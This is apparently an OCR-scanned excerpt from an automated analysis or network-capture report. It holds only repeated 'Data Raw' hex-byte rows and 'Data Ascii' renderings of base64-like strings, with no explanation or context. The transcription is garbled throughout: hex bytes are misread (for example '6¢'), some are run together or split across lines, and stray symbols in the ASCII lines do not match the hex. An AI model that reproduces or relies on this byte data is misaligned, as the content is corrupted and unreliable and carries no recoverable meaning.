71 42 47 6a 65 56 48 6 61 42 52 47 51 75 68 5a 36 63 56 4d 56 2b 76 4d 58 38 39 67 56 52 6b 2f 4f 73 6¢ 73 61 49 71 56
2b 36 35 48 58 7a 4c 77 45 42 53 70 2f 74 75 44 57 55 48 30 49 4a 4a 54 4c 2b 35 45 6d 48 2b 72 70 70 59 47 2f 6¢ 5a
4254 4c 73 51 58 36 64 43 7a 46 71 74 59 4f 69 76 58 51 65 6a 61 53 39 53 65 6e 4a 6b 50 48 46 4d 59 72 4c 2f 4f 67 59
36 4d 4a 71 33 4f 73 65 6f 71 38 47 55 32 4¢ 63 34 54 62 64 71 73 54 6d 59 75 51 43 53 4d 66 50 50 4c 64 61 52 43 455
14446 7a71 43 73523958 34 71 2b 72 61 6d 2b 6e 46 6f 66 49

Data Ascii: a/B9uZ51MIvBUng6FbpRkbQ4LyveDZ/epNVudzS183ubxcz3EREtHN1tBOtnpSdhtyoM3PoxYYjgBG
jeVHoaBRGQuhZ6cVMV+vMX89gVRk/OslsalqV+65HXzLWEBSp/tuDWUHOIJITL+5EmH+rppYG/IZBTLsQX6dCzFqtY
0ivXQejaS9SenJkPHFMYrL/OgY6MJq30seo0q8GU2Lc4ThdgsTmYuQCSMfPPLdaRCEQDFzqCsR9X4qg+ram+nFofl

Data Raw: 52 76 30 37 7a 78 4a 56 66 66 39 41 55 64 5a 6f 39 47 70 46 31 4c 70 6b 41 6a 39 6a 43 30 62 45 66 48 70 64
32537362 73 47 39 47 6b 63 56 62 6b 65 51 74 66 6d 55 43 39 56 76 66 6b 73 36 46 4b 6¢ 48 4a 6f 74 46 69 76 48 77
37 6535 74 46 67 34 42 78 45 79 38 4e 4e 33 71 59 4c 46 51 6f 55 69 31 50 35 39 72 68 31 30 62 6a 56 39 57 77 4e 55
67 46 43 70 46 33 58 68 4d 72 68 31 75 78 74 35 7a 68 2b 37 6b 36 58 34 65 52 44 79 39 5a 70 72 4a 55 32 4c 62 6d 34
42 4a4a 3154 72 38 6¢ 35 54 5a 73 31 50 37 39 49 56 4c 63 76 69 4f 72 75 6a 71 69 2b 70 47 65 76 33 72 32 37 70 54
5a 76 4e 2b 44 79 4c 2f 64 59 79 4f 4f 50 4e 30 6¢ 42 4a 50 32 48 43 36 41 56 56 7a 4b 55 72 4a 6d 47 6a 45 4d 6b 7a 62
6d 76 31 6f 49 65 7a 5a 4b 6f 46 6e 6e 61 55 64 4d 55 75 30 4a 31 64

Data Ascii: Rv07zxJV{f9AUdZ0o9GpF1LpkAj9jCObEfHpd2SshsGIGkecVbkeQttmUC9V viks6FKIHJotFivHw7e5tFg4BxEy8N
N3gYLFQoUi1P59rh10bjVOWWNUgFCpF3XhMrhluxt5zh+7k6X4eRDy9ZprduU2Lbm4BJJ1Tr8I5TZs1P79IVLcviOru
jgi+pGev3r27pTZvN+DyL/dYyOOPNOIBJP2HC6AVVzKUrJmGjEMkzbmvlolezZKoFnnaUdMUu0J1d

Data Raw: 4e 78 76 39 48 66 6¢ 76 66 34 54 58 52 6e 61 42 6¢ 6a 52 65 79 44 43 36 45 35 70 54 39 52 42 4c 73 61 63
48 2f 47 6¢ 46 2f 37 5a 44 35 38 51 53 78 72 62 73 7a 6f 67 48 37 39 46 6f 4e 50 43 66 4b 69 68 4e 6¢ 5a 4e 55 46 4a 6f
62 49 6a 4c 47 7a 6¢ 37 4d 51 42 6d 7a 62 51 77 39 73 52 71 36 73 6f 6b 42 57 43 5a 50 77 4b 68 55 36 53 54 6a 6d 50
6b 6d 72 31 48 64 70 6b 52 55 58 2b 78 31 2f 47 4e 67 58 6¢ 51 50 48 6a 79 38 65 2b 75 37 74 70 43 72 61 69 4b 4d 45
74 50 74 44 61 45 68 2f 7a 55 7a 72 50 72 46 31 4b 65 66 2b 2b 48 50 79 31 62 36 56 51 75 36 4a 68 4b 4f 4d 71 59 64
62 49 36 34 55 4d 74 47 6f 39 48 4b 62 69 68 4e 46 31 4a 52 65 43 77 5a 6b 66 48 34 4f 78 39 5a 47 54 43 54 56 56 46
6f 73 56 72 4e 64 6a 73 56 68 6f 68 59 44 68 31 35 6e 77 47 5a 42 36 48

Data Ascii: Nxv9Hflvf4ATXRnaBljReyDC6E5pTIRBLsacH/GIF/7ZD58QSxrbszogH79FoNPCfKihNIZNUFJobljLGzI7TMQBmMz
bQwWIsRg6sokBWCZPwKhUBSTimPkmrlHdpkRUX+x1/GNgXIQPH]y8e+u7tpCraikMEtPtDaEh/zUzrPrF1Kef++HPy1
b6VQuEIhKOMqYdbl64UMtGo9HKbihNF1IReCwZkfH40X9ZGTCTVVFosVrNdjsVhohYDh15nwGZB6H

Data Raw: 6f 69 4e 4f 45 6e 71 76 55 65 66 4b 69 38 50 36 37 76 66 34 69 44 6a 45 33 76 49 2b 36 38 52 49 50 52 77 4b
2f 67 31 52 6f 36 7a 45 48 6b 31 4a 38 2f 30 30 54 4e 45 44 4f 68 44 78 38 79 43 49 59 61 45 50 34 4e 49 63 55 76 2b 66
4d 66 6a 71 6a 4f 48 36 71 2b 63 74 35 68 35 6¢ 4e 63 57 43 68 33 79 31 68 6e 56 65 64 78 4a 62 58 44 34 42 61 44 44
2f 4e 49 49 77 51 6e 2b 54 55 54 69 78 69 48 66 48 2b 7a 59 39 41 58 43 53 73 67 50 43 59 77 37 4e 36 71 41 79 31 6f
52 39 56 36 77 70 66 74 4c 4e 56 61 61 4a 4f 51 71 4a 36 50 2b 48 4d 6e 7a 55 59 44 54 79 54 42 69 32 71 6e 36 48 41
31 49 75 6a 4f 4f 62 39 53 4d 38 54 70 42 4f 6a 43 4f 77 7a 47 4f 41 67 56 6¢ 70 50 69 6¢ 36 4a 44 31 52 64 64 31 48 76
75 55 54 6f 6f 62 69 77 70 65 2f 5a 41 5a 31 61 37 44 52 67 77 70

Data Ascii: 0iNOEnqvUefKi8P67vf4iDjE3vI+68RIPRWK/g1R06zEHk1J8/00TNEDOhDX8yClYaEP4NIcUv+fMfjqjOH60+ct
5h5INcWCh3y1hnVedxJbXD4BaDD/NIlwQn+TUTixiHfH+zY9AXCSsgPCYw7N6gAy1oRIV6wpftLNVaaJOQgqJ6P+HMn
zUYDTyYTBi2qn6HA1IujOOb9SM8TpBOjCOWzGOAgVIpPil6JD1IRdd1HvuUToobiwpe/ZAZ1a7DRgwp

Data Raw: 2f 39 52 42 6f 5a 66 70 38 41 4f 41 37 76 78 7a 45 34 76 36 75 4b 57 50 67 2b 4d 76 71 69 4f 53 5a 6a 4f 73
6e 6b 47 77 55 6a 70 65 50 6d 37 6d 78 39 76 2f 33 6e 76 34 65 4c 62 68 31 4b 6e 6a 2b 2f 39 59 4f 58 66 71 31 54 32 71
49 55 41 76 55 68 58 6a 39 56 41 6a 6f 51 61 41 42 38 70 32 35 69 45 6b 71 71 30 4b 49 2b 46 44 78 4b 30 4f 74 42 75
4e 4e 67 35 41 53 64 56 79 36 4c 41 5a 45 58 66 4c 4a 30 62 6d 55 78 54 71 6b 6d 55 6b 38 74 53 63 54 64 71 6f 61 63
75 68 43 30 33 43 76 50 78 45 62 4b 50 49 70 37 69 6a 6d 75 70 4d 53 33 50 70 6¢ 36 64 76 6e 6a 35 39 61 73 39 67 56
6a 32 6f 6¢ 4d 45 38 4e 36 4b 49 47 65 36 6f 58 6b 41 50 6a 38 43 4c 73 78 59 35 66 30 75 45 54 57 4d 34 58 59 46 67
4e 4c¢ 76 71 39 65 2f 2f 70 56 66 48 74 37 35 7a 36 30 56 4a 55 4f 38

Data Ascii: /9RB0Zfp8AOA7vxzE4v6UKWPg+MvgiOSZjOsnkGwUjpePm7mx9v/3nv4eLbh1Knj+/9YOXfq1T2qlU
AvUhXj9VAjoQaAB8p25iEkqqOKI+FDxKOOtBUNNg5ASdVYELAZEXFLIObMUXTgkmUk8tScTdgoacuhCO3CvPXEbKPI
p7ijimupMS3Ppl6dvnj59as9gVj20IME8BNEKIGe60XKkAP]8CLsxY5f0OUETWM4AXYFgNLvg9e//pViHt75z260VIUO8

Data Raw: 30 38 63 59 4e 6b 6d 6e 64 50 6d 44 43 45 70 69 54 2b 30 42 4a 43 42 59 69 6f 76 70 56 4a 4a 33 57 75 4b 6¢
7a 61 4c 47 62 6e 35 44 41 4f 65 75 5a 54 35 79 55 34 53 6e 73 71 6b 71 59 58 6a 48 6¢ 30 30 4f 53 6a 46 2b 6d 45 76
6b 4f 6¢ 74 39 62 32 51 35 6e 43 45 46 70 4a 53 48 31 71 77 4a 4e 61 2f 53 56 53 55 6d 74 66 61 33 6d 77 4e 39 6b 64
3558 41 4c 6f 35 61 6d 75 61 46 56 64 5a 33 77 4e 32 2f 4¢c 39 67 73 36 6f 65 5a 74 59 33 48 62 76 56 74 4a 39 61 64 77
74 49 6d 55 33 7a 79 59 35 36 6b 51 6b 68 6e 48 59 6e 7a 58 68 55 52 6f 53 56 55 64 72 57 58 34 71 46 71 69 2f 5a 33 4
9 34 4b 69 39 6¢ 33 4a 4a 2b 6e 53 44 55 58 45 30 36 73 4b 55 39 68 41 71 52 6b 51 31 4e 58 52 53 37 38 43 31 42 65
7169 65 67 2f 30 48 4b 63 6b 73 79 34 63 35 53 69 56 4b 4f 38 78 6d

Data Ascii: 08cYNkmndPmDCEpiT+0BJCBYiovpVJJ3WuKIzaLGbn5DAOeuZT5yU4SnsakqY XjHIO0OSjF+mEVKOIl
t9b2Q5nCEFpJSH1qwJNa/SVSUmtfa3mwN9kd5XALo5amuaFVdZ3wN2/L9gs6oeZtY3HbvVtI9adwtimU3zyY56kQkh
nHYnzXhURoSVUdrWX4qFqi/Z314Ki913JJ+nSDUXE06sKU9IhAGRKQINXRS78C1Begieg/0HKcksy4c5SiVKO8xm

Data Raw: 61 4c 37 78 73 49 59 77 69 46 59 52 49 70 2b 58 69 72 72 6f 6d 4c 70 6e 7a 35 34 39 75 74 2b 31 68 74 74 68
33 4f 73 61 36 6f 78 44 53 58 39 51 70 7a 4e 6f 54 44 4d 38 64 4a 43 6b 52 78 58 6f 4e 4f 6b 39 39 67 67 4c 35 50 70 31
67 30 4d 45 32 33 74 66 30 63 76 6e 79 43 75 42 37 67 45 62 74 48 52 56 48 58 70 37 71 6a 6f 79 4e 47 68 39 51 48 68
303851 68 49 43 54 47 53 67 74 2f 62 76 47 33 48 37 69 4e 2f 6e 7a 6f 61 34 5a 75 51 52 79 34 42 30 4c 51 6d 69 6d 32
67 49 65 6b 4e 49 41 69 57 36 38 2f 4b 59 6f 74 6¢ 66 31 48 73 71 51 72 6¢ 43 64 4e 64 56 4e 79 41 55 68 59 35 39 6a
47 39 62 36 6b 30 32 2f 74 44 5a 73 6d 30 43 34 33 4b 37 47 58 75 72 54 39 64 65 46 72 74 31 48 63 57 47 6b 79 35 51
54 4e 39 44 2b 73 49 6e 39 49 71 77 75 58 68 32 71 4b 57 50 46 37

Data Ascii: aL7xslYwiFYRIp+XirromLpnz549ut+1htth30sa6o0xDSX9QpzNoTDM8dJCkRxXoNOk99ggL5Pp1g0
ME23tfOcvnyCuB7gEbtHRVHXp7gjoyNGh9QHh08QhICTGSgt/bvG3H7iN/nzoadZuQRy4BOLQmim2glekNIAIWGE8/K
Yotlf1HsqQrICANdVNyAUhY59jG9b6k02/tDZsm0C43K7GXurT9deFrtIHCWGKy5QTNID+sIN9lqwuXh2qKWPF7

Data Raw: 6f 37 34 4d 4f 75 47 45 45 39 6d 76 4f 6e 31 59 58 72 51 6¢ 37 61 52 6d 4f 79 57 38 41 52 44 6¢ 42 2b 50 36
47 73 33 6d 54 65 68 69 58 2b 66 72 71 6f 4c 71 37 71 34 4a 41 4e 58 6f 64 59 54 4c 30 7a 4b 43 78 53 45 69 57 4a 4c
6¢ 48 55 45 52 45 52 55 56 47 78 6d 37 66 76 4f 6e 67 71 35 64 4c 56 6d 37 77 5a 73 33 61 66 2f 69 30 55 77 2b 36 44
4e 51 54 68 7a 55 6f 52 31 5a 66 71 77 44 79 2f 73 79 7a 4e 34 31 43 49 59 47 5a 6¢ 5a 33 4f 35 67 65 6d 50 4c 5a 44 4
€ 67 50 6a 30 54 41 33 31 70 66 6¢ 36 2b 67 2b 41 49 59 65 70 4f 43 6b 76 51 6e 5a 31 76 47 67 50 6d 6e 78 54 4e 77
35 6e 30 44 52 4e 61 7a 69 6¢ 2f 69 45 30 61 44 49 45 78 38 33 48 43 74 73 57 76 48 73 37 71 62 74 30 37 76 78 59 70
38 59 78 64 49 64 68 37 37 4e 51 4f 6d 2f 7a 37 76 63 4a 64 59 62 58 4a

Data Ascii: 074MOuUGEE9mMvON1YXrQI7aRmOyW8ARDIB+P6Gs3mTehiX+frqoLq7q4JANXodYTLOzKCXSEIWJLIHU
ERERUVGxm7fvOngq5dLVm7wZs3af/i0Uw+6DNQThzUoR1ZfqwDy/syzN41ClYGZIZ305gemPLZDLgPj0TA31pfl6+g
+AlYepOCkvQnZ1vGgPmnxTNw5n0DRNazil/iEOaDIEx83HCtsWvHs7gbt07vxYp8Yxdldh77NQOm/z7veldYbXJ
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Data

Data Raw: 65 36 30 55 31 54 36 2b 50 72 37 72 66 48 56 6e 31 66 34 42 4b 79 4a 6f 51 46 5a 6f 52 45 43 59 4a 44 79 73
57 4b 68 57 69 4c 61 71 6f 36 49 54 6a 31 79 2b 6d 70 70 4c 6e 51 50 7a 6f 7a 55 73 52 2b 49 58 64 38 41 61 67 6¢ 44
314970316331 6a30 77583166 715537 6546 51 6¢ 51 2f 4¢c 55 56 31 79 59 4a 2b 6a 54 6f 58 49 49 73 48 64 75
56 54 59 72 69 72 56 54 6f 73 46 44 56 6a 36 46 78 71 44 56 74 46 78 54 72 7a 46 6d 7a 70 72 55 73 32 32 30 49 35 47
6f 61 63 59 62 6e 79 6d 73 4f 4a 4e 56 34 32 70 67 55 45 6d 54 78 4a 51 54 35 44 74 45 33 39 61 50 75 61 63 52 77 50
51 78 3558 30 7a 7a 70 54 66 43 68 6d 6¢ 72 35 67 34 42 58 57 53 52 6a 45 50 51 74 70 6d 51 4d 48 4b 46 5a 64 79 79
68 37 4c 4a 72 6f 67 51 76 4d 6e 62 68 32 6a 56 72 31 6d 70 70 75 31 70

Data Ascii: e60U1T6+Pr7rfHVn1f4BKyJoQFZoRECYJDysWKhWiLaqo6ITjly+mppLnQPzozUsR+IXd8AagID1Ip
1c1jowX1fqu7eFQIQ/LUV1yYJ+jToXIIsHduVTYrirVTosFDVj6FxqDVtFxTrzFmzprUs22015GoacYbnymsOJNV42
PgUEMTxJQT5DtE39aPuacRwPQx5X0zzpTfChmIr5g4BXWSRJEPQtpmQMHKFZdyyh7LJrogQvMnbh2jVrimppulp

Data Raw: 51 4e 62 43 39 4b 37 51 49 6¢ 65 59 30 35 57 56 6e 63 6a 45 4c 64 57 65 41 58 47 4a 4c 45 7a 32 57 37 72
79 6f 4d 68 30 33 56 2f 53 68 52 33 76 6d 50 34 53 6a 6a 6b 5a 55 30 79 31 49 49 69 74 62 38 6b 58 62 74 6e 73 36 69
59 45 74 68 54 31 64 42 7358 64 70 71 55 73 73 73 67 41 47 72 4b 4c 4f 69 33 43 67 78 4b 56 4c 4b 4c 50 72 74 56 43 6
7 39 6¢ 6¢ 65 6d 44 74 37 42 77 75 46 7a 76 54 30 39 50 44 77 38 6¢ 79 7a 31 43 75 54 46 58 46 70 77 2b 47 44 2b 77 2f
76 2b 32 7550 39 37 38 30 55 7a 64 59 53 68 41 61 33 6¢ 44 41 4c 55 55 44 69 2f 62 2f 71 67 74 46 2b 5a 71 5a 6d 5a
6b 4d 52 71 46 34 36 6¢ 79 74 41 77 4e 32 57 44 6a 34 38 6d 41 2b 42 52 4e 6d 77 63 61 36 76 6a 4a 56 78 6b 33 56 38
3146 47 54 33 2b 61 78 51 65 43 55 72 56 35 61 33 78 73 53 68 37 74 51

Data Ascii: QNbC9K7QIleYO5WVncELdWeAXGILEz2W7ryoMh03V/ShR3vmP4SjjkZU0y1l1itb8kXbtns6iYEth
T1dBsXdpgqUsssgAGrkLOi3CgxKVLKLPrtVCg9llemDt7BwuFzvT09PDw8lyz1CuTFXFpw+GD+w/v+2uP9780UzdY Sh
Aa3IDALUUDI/b/qgtF+ZgZmZkMRqF46lytAwN2WDj48mA+BRNmwca6bvjJVxk3V81FGT3+axQeCUrV5a3xsSh7tQ

Data Raw: 78 69 64 51 48 6a 6e 61 75 34 34 72 56 36 78 77 58 37 34 77 6e 6d 62 61 6a 72 4b 45 71 72 30 2f 6d 62 48
2b 53 41 70 6¢ 63 32 37 78 4d 31 43 61 39 2b 6¢ 30 50 6f 5a 51 55 74 4f 72 6d 73 77 4d 7a 62 58 47 30 50 72 63 32 48
6155 7a 75 51 58 73 4e 67 6f 6d 6b 30 34 4e 71 59 6a 62 4f 32 52 34 65 47 6e 57 41 48 37 47 71 4f 73 49 54 54 44 53 6
7 69 56 3352 49 71 6b 65 44 2f 56 4b 31 64 4c 4c 41 54 7a 71 43 42 6d 6a 4c 52 54 45 41 70 6b 2f 31 39 31 6e 68 35 65
6e 68 36 72 50 5a 63 76 57 72 46 6b 6f 6d 4a 6¢ 45 58 36 38 6d 58 61 6f 6¢ 36 2b 66 4e 6e 63 6a 54 54 54 75 78 44 30
65 76 71 6a 70 59 64 53 4b 4c 39 2f 35 6a 30 4a 5a 51 6d 6a 6b 39 6b 41 6f 5a 52 4f 7a 4d 2f 49 34 43 46 6f 75 5a 32 6e
7a 6e 34 44 3539 52 66 77 6e 4c 62 4b 56 6a 79 63 58 66 6f 70 37 41

Data Ascii: xidQHjnau44rVéxwX74wnmbajrKEqro/mbH+SAplc27xM1Ca9+0PoZQUtOrmswMzbXGOPrc2HaUzu
QXsNgomk04NqYjbO2R4eGnWAH7GqOsITTDSgiV3RIgkeD/VK1dLLATzqCBmjLRTEApk/191nh5enh6rPZcvWriFkomJ
IEX68mXaol6+fNncjTTTuxD0evqjpYdSKL9/5j0JZQmjk9kA0ZROzM/I14CFouZ2nzn4D59RfwnLbKVjycXfop7A

Data Raw: 50 49 79 63 32 74 71 6e 62 2b 6f 33 61 39 2b 67 30 62 4e 57 36 4d 49 62 54 43 47 68 67 31 6b 79 61 46 6f 68
49 54 64 6¢ 44 42 68 4e 4f 50 4b 32 6b 54 37 39 78 71 4d 4b 78 56 67 4c 64 32 2f 73 4e 33 68 65 2b 4f 61 32 72 4b 62 4d
58 6b 75 58 50 6d 7a 4a 6b 39 33 6f 4d 6d 39 49 64 4c 65 63 33 6a 4b 69 75 46 45 35 35 66 33 59 50 4b 5a 6a 47 64 51
6d 75 55 49 52 78 6b 57 6a 6f 76 56 4d 63 67 67 77 66 56 59 38 6e 33 59 4a 55 6e 57 55 46 43 78 6b 66 79 48 31 58 58
71 6¢ 4f 33 66 6f 4f 47 44 65 74 67 41 53 30 33 45 38 5a 31 53 61 45 4a 43 62 56 52 61 51 6d 31 73 36 68 59 51 75 59 6
6 4e 65 46 63 57 74 46 36 4f 2f 76 42 69 44 74 47 65 4b 38 4e 38 6¢ 6e 6e 34 37 4e 71 34 61 70 31 57 79 39 52 56 75 48
6a 35 38 79 65 50 57 76 57 37 33 37 69 6b 2f 49 43 4e 62 2f 65 7a

Data Ascii: Plyc2tqnb+03a9+g0bNW6MIbTCGhglkyaFohITdIDBhNOPK2kT79xqMKxVgLd2/sN3he+Oa2rKbMXk
uXPmzJk93oMmO9ldLec3jKiuFE55f3YPKZjGdQmuUIRxkWjovVMcggwfVY8n3YJUnWUFCxkfyH1XXqlO3foOGDetgAS
03E8Z1SaEJCbVRaQm1s6hYQuYfNeFcWtF60/vBiDtGeK8N8INn47Ng4ap1Wy9RVuH]58yePWvW737ik/ICNb/ez

Data Raw: 51 76 4f 64 64 59 50 35 65 71 35 75 41 55 55 51 70 6¢ 44 70 68 42 66 67 62 50 62 52 54 50 48 50 77 79 78 6a
4d 6e 38 4a 44 4a 4f 4f 71 55 50 44 49 71 4b 69 41 73 39 52 5a 68 48 44 78 6f 34 5a 64 5a 45 6d 44 59 4f 79 78 56 4d 35
64 6a 2b 48 53 6d 4b 6d 4d 7a 32 6d 4b 4d 78 69 57 6b 5a 36 2f 74 59 62 31 47 6d 44 49 6b 66 49 2b 31 41 52 50 68 52
6b 46 64 51 59 4e 76 41 6f 7a 66 63 58 58 4a 45 51 53 36 55 54 74 73 44 4a 31 50 74 34 42 38 30 52 2b 7a 4c 4d 39 47
58 61 44 33 36 52 47 30 4e 43 77 73 49 6a 6f 32 4a 69 49 6d 35 53 5a 68 6d 6a 66 68 37 7a 58 51 70 4e 38 59 65 79 78
56 46 52 6¢ 72 56 45 35 58 43 47 44 76 42 76 41 77 69 47 72 47 42 36 52 73 62 4e 73 6b 73 48 35 35 4d 66 6f 55 49 38
4b 4d 6a 72 36 6¢ 75 77 67 65 66 46 58 56 2b 54 68 4f 6f 58 71 58 54

Data Ascii: QvOddYP5eq5uAUUQpIDphBfgbhPbRTPHPwWyxjMn8JDJOOqUPDIgKiAS9RZhHDx04ZdZEmDY OyxVM5d|
+HSMKmMMz2mKMxiWkZ6/tYb1GmDIkfl+1ARPhRKFAQYNvVA0zfcXXIEQS6UTtsDJ1Pt4B80R+zLMIGXaD36RGONCwslj
02Jilm5SZhmjfh7zXQpN8YeyxVFRI'VESXCGDvBVAWIGrGB6RsbNsksH55MfoUI8KMjr6luwgefFXV+ThOoXgXT

Data Raw: 64 4e 4f 77 68 58 4a 6¢ 53 70 38 36 6e 50 4c 54 6f 37 49 5a 4e 57 36 41 6¢ 6¢ 61 66 7a 73 74 31 39 39 2f 4d
7a 64 4b 43 33 6b 79 4f 44 67 72 66 47 62 45 72 52 52 76 58 33 4¢c 62 73 70 50 34 36 71 37 50 30 5a 54 38 66 34 57 44
335356 39 52 62 30 43 4d 2f 77 56 6d 61 36 69 6a 6f 50 56 45 6¢ 68 67 5a 32 51 77 30 49 61 6f 7a 75 70 4c 76 78 6d 6b
716871 6a 6b 50 72 4d 59 64 5a 31 6f 32 48 49 4¢ 76 50 61 64 49 58 63 48 56 43 38 35 65 6e 52 4e 46 4b 75 2f 66 52
48 6f 52 41 57 75 77 30 46 4b 58 2b 33 45 78 4b 56 46 74 65 51 45 6b 2f 5a 6e 32 38 4d 69 6b 32 66 74 4f 57 78 4b 33 6
26b 2b 4b 7532 7a 57 71 2b 30 50 42 57 71 6d 70 66 50 35 77 59 6¢ 2f 54 49 54 5a 41 6a 2f 42 2f 7a 4d 37 49 70 4d 35
4a 42 4c 4b 51 4f 2b 54 77 4d 34 30 70 6e 76 2f 51 30 41 52 42 6f

Data Ascii: ANOWhXJISp86nPLTo7IZNW6Allafzst199/MzdKC3kyODgrfGbErRRvX3LbspP46q7P0ZT8f4WD3SV
9RbOCM/wVmabijoPVEIhgZ2Qwo0laozupLvxmkghgjkPrMYdZ1o2HILvPadIXcHVC85enRNFKu/fRHORAWUWOFKX+3E
xKVFteQEk/Zn28Mik2ftOWxK3bk+Ku2zWq+0PBWampfP5wYI/TITZAj/B/zM7IpM5IBLKQO+TwM40pnv/QOARBO

Data Raw: 30 54 6a 30 50 45 76 46 33 4c 42 6b 4f 56 53 47 71 6a 41 55 59 6a 44 6a 79 6a 36 42 35 61 58 7a 4b 62 67 74
4169 39 64 31 62 56 39 56 56 30 41 69 68 73 43 31 76 45 30 76 30 54 57 6f 34 34 37 66 2f 41 61 69 71 33 52 56 66 6¢
31 46 51 6¢ 39 31 47 32 62 55 34 34 4d 6f 39 39 4f 4b 70 35 75 62 55 34 52 47 52 55 54 48 74 32 6e 66 73 4¢ 43 64 31
66 50 63 65 50 65 4f 37 44 7a 6e 68 6¢ 6a 74 76 66 66 6e 35 68 2f 34 37 71 59 75 38 56 2b 30 36 72 41 66 76 34 73 6€ 6
933 31 4e 54 55 78 74 50 36 6a 56 45 64 55 48 53 57 75 70 4c 31 62 69 4a 69 59 6d 54 44 76 69 31 61 44 64 76 67 58
2b 47 62 43 50 74 64 6¢ 73 64 71 30 2b 43 54 77 74 70 73 33 46 75 4f 46 54 31 49 30 4e 4e 46 49 34 53 38 58 56 73 73
56 66 67 45 6¢ 50 52 5a 46 41 39 41 59 65 34 5a 51 63 50 75 45 61 5a 56

Data Ascii: OTJOPEVF3LBKOVSGGjAUY]Djyj6B5aXzKbgtAi9d1bVOVVOAIhsC1VEOVOTWo447f/Aaig3RVALFQII1G2bU44M
0990Kp5ubU4RGRUTHt2nfsLCd1fPcePeO7Dznhljtviin5h/47qYusV+06rAfv4sni31NT UxtP6)VEAUHSWupL1biJ
iYmTDvilaDdvgX+GbCPtdisdg0+CTwips3FuOFT1IONNFI4S8XVssVgEIPRZFAIAYe4ZQcPuEazy.

Data Raw: 4d 43 48 57 63 68 64 79 4f 66 6b 48 76 2f 6f 75 49 2f 68 36 73 66 47 79 66 45 49 39 74 59 46 6f 4d 51 49 71
56 71 6b 4c 2b 50 74 35 64 37 78 68 74 46 48 52 70 4d 32 55 54 56 31 76 65 6d 39 6d 76 6f 6a 58 7a 30 6e 68 37 75 4f
6d 54 35 6a 44 59 63 66 69 73 57 77 6a 57 39 79 31 49 78 56 35 4f 44 61 76 38 61 47 79 68 45 75 58 58 36 75 76 68 6e
53 4c 61 42 56 66 39 46 58 38 2b 5a 4e 2b 2b 4e 2b 63 75 66 53 59 51 64 74 31 32 68 6d 57 79 41 58 4c 6f 78 4c 77 75 3
3 4e 4c 77 36 58 36 45 6¢ 4c 4¢c 52 59 43 6¢ 6d 70 31 34 35 4f 73 5a 44 66 49 72 64 47 4c 79 58 54 71 67 37 79 43 66 32
65 42 56 3334 39 75 6b 47 79 4b 32 47 68 63 34 54 51 6b 77 4e 38 44 56 36 65 78 71 79 4d 72 57 71 30 5a 52 6¢ 35 32
6c 31 37 73 44 38 2b 53 2b 4d 75 66 65 57 57 32 34 62 30 4b 46 35 73

Data Ascii: MCHWchdyOfkHv/oul/h6sfGyfEIStY FOMQIgVgkL+Pt5d7xhtFHRpM2UTV 1vem9mvojXzOnh7uOmT5
jDYcfisWwjW9y1IxV50Dav8aGyhEuXX6uvhnSLaBVi9FX8+ZN++N+cufSYQdt12hmWyAXLoxLwu3NLw6X6EILLRYCI
mp1450sZDflrdGLyXTqg7yCf2eBV349ukGyK2Ghc4 TQkwN8DV6exqyMrWq0ZRI52117sD8+S+MufeWW24b0KF5s
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Data

Data Raw: 55 30 76 66 50 78 32 62 64 47 6f 58 77 51 6f 75 5a 51 50 54 4a 46 58 73 35 33 4f 76 38 47 4d 76 30 4e 35 46
6a 4e 47 64 41 63 6e 55 45 48 56 54 41 31 37 71 35 67 36 36 6a 61 77 31 30 50 48 52 7a 7a 62 45 34 42 70 42 32 63 45
54 743043 61 2b 75 7a 2b 73 68 72 30 42 6d 45 30 49 49 49 5a 70 44 59 34 51 59 7a 30 34 41 45 6f 78 51 44 4f 63 4a
54 2b 43 56 62 73 6a 6b 2f 7a 33 33 4e 63 47 6b 2f 73 68 55 36 2f 46 77 34 4a 55 37 6f 55 31 50 55 4f 4f 47 71 61 33 71
6a 50 34 48 48 4f 4f 5a 54 70 4e 56 4f 6a 66 43 53 59 6e 6a 2f 2b 5a 56 63 37 6f 4e 38 70 74 4f 43 7a 2b 67 45 45 49 49
59 62 55 64 47 69 4e 45 30 50 42 49 34 47 37 75 71 67 62 56 38 6e 75 41 59 34 38 44 2f 6a 4d 48 51 31 55 72 47 76 6a
6b 4e 69 44 78 32 35 62 49 31 4c 45 4a 38 45 4a 71 41 32 69 4a 44

Data Ascii: UOvfPx2bdGoXwQouZQPTJFXs530v8GMVON5FNGdAcnUEHVTA17q5g966jawl0PHRzzbE4BpB2cETtO
Ca+uz+shrOBmEOIIZpDY4QYz04AEoxQDOcJT+CVbsjk/z33NcGk/shU6/Fw4JU70U1PUOOGga3qjP4HHOOZTpNVOj
fCSYnj/i+ZVc7oN8ptOCz+gEEIYbUdGINEOPBI4G7uqgbV8nuAY48D/iIMHQ1UrGVvjkNiDx25bl1LEJ8EJgA2iID

Data Raw: 37 61 31 49 50 72 52 6f 32 66 58 44 39 37 6b 79 32 33 33 58 48 6e 48 62 62 66 37 62 42 54 62 76 73 43 5a
76 58 70 41 62 49 2b 2f 67 6b 69 49 6a 4b 4a 4e 33 32 53 6a 72 74 67 4f 4f 33 58 2f 51 78 4e 4f 37 43 31 56 74 54 36 6¢
64 7071 59 56 4d 54 6d 56 54 71 7a 52 38 75 6a 7a 38 59 79 53 33 51 6d 6e 72 30 68 43 6b 7a 4e 74 70 38 6d 78 32 32
32 33 61 50 6f 38 2b 39 35 72 36 46 4d 4b 33 37 6e 64 4b 4e 49 75 6b 34 47 55 52 45 5a 42 4b 76 35 6b 73 61 61 6d 41
38 6a 35 33 65 6b 6f 72 71 31 38 71 36 4a 72 56 4b 69 4d 69 73 55 65 31 30 2b 77 4c 68 57 48 35 4a 52 55 33 64 71 41
6¢ 54 5a 32 36 38 31 64 61 62 62 33 2f 49 32 64 63 2f 38 4e 67 48 4b 32 46 57 53 34 36 58 37 68 53 4c 70 43 4d 2f 44 69
49 69 4d 6f 64 2f 78 53 51 4e 38 32 41 38 44 33 38 45 54 53 4b 4f 45

Data Ascii: 7allPrRo2fXD97ky233XHnHbbf7bBTbvsCZvXpAbl+/gkiljKIN32SjrtgOO03X/QxNO7C1ViT6ldpgYVMTmVTgzR
8ujz8YyS3QmnrOhCkzNtp8mx2223aP 08+95r6 FMK37ndKNIuk4AGUREZBKv5ksaamA8j53ekorq18q6JrVKiMisUel0
+wLhWH5JRU3dgAITZ2681dabb3/I2dc/8NgHK2FWS46X7hSLpCM/DiliMod/xSQN82A8D38ETSKOE

Data Raw: 7a 47 37 73 74 59 6e 65 51 59 67 5a 72 30 62 56 68 6d 35 33 31 42 6f 67 67 68 4d 68 56 36 6e 50 49 73 69
